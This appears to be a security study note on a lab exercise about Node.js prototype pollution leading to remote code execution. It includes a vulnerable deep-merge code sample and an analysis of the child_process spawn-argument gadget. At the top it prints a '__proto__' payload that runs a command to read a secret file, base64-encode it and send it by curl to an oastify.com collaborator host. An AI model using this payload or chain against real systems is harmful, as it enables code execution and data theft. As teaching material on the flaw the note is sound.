![](https://hackmd.io/_uploads/Sy0TlOWya.png) ``` "__proto__":{ "shell":"vim", "input":"! cat /home/carlos/secret | base64 | curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n" } ``` ![](https://hackmd.io/_uploads/ryAVGO-JT.png) ![](https://hackmd.io/_uploads/ry09zOWkp.png) # Real-World Case Analysis # PP2RCE (prototype pollution to remote code Execution) Reference https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce ## Vulnerable Code Analysis ```javascript! //PP2RCE const { execSync, fork } = require('child_process'); // child_process -> module // execSync -> exec command // fork -> create sub proccess !! var object = { name:"test" } function f1(){ console.log('Im funciotn') } function isObject(obj){ console.log(typeof obj); return typeof obj === 'function' || typeof obj ==='object' } //console.log(isObject(f1)) //function //true //如果invoke f1() f1 沒有return -> defautl "undefined" !! function mergeObject(targer,source){ for(let key in source){ if(isObject(targer[key])&&isObject(source[key])){ mergeObject(targer[key],source[key]) } else{ targer[key] = source[key] } } return targer } function cloneObj(targerObj){ mergeObject({},targerObj) } // user object -> source clone(USERINPUT); var MainProcess = fork('execFileEcho.js') // echo meow>execFileEcho : execSync ``` ## Gadget when process is spawned with some method from child_process (fork() or spawn()) fork() will call the `normalizeSpawnArguments` function to create the Env Variable Source Code https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L68 標準化Spawn參數 Function ```javascript var env = options.env || process.env; //638 ... // Prototype values are intentionally included. for (const key in env) { ArrayPrototypePush(envKeys, key); } for (const key of envKeys) { //681~686 const value = env[key]; if (value !== undefined) { ArrayPrototypePush(envPairs, `${key}=${value}`); } } ``` -> 686 (Gadget) If both options.env and process.env have values, the "env" will choose the value of options.env. -> 681~686 we can poison envPairs just by pollution the .env attribute __prototype__['env'] = ??? Attacker can Controlled (source)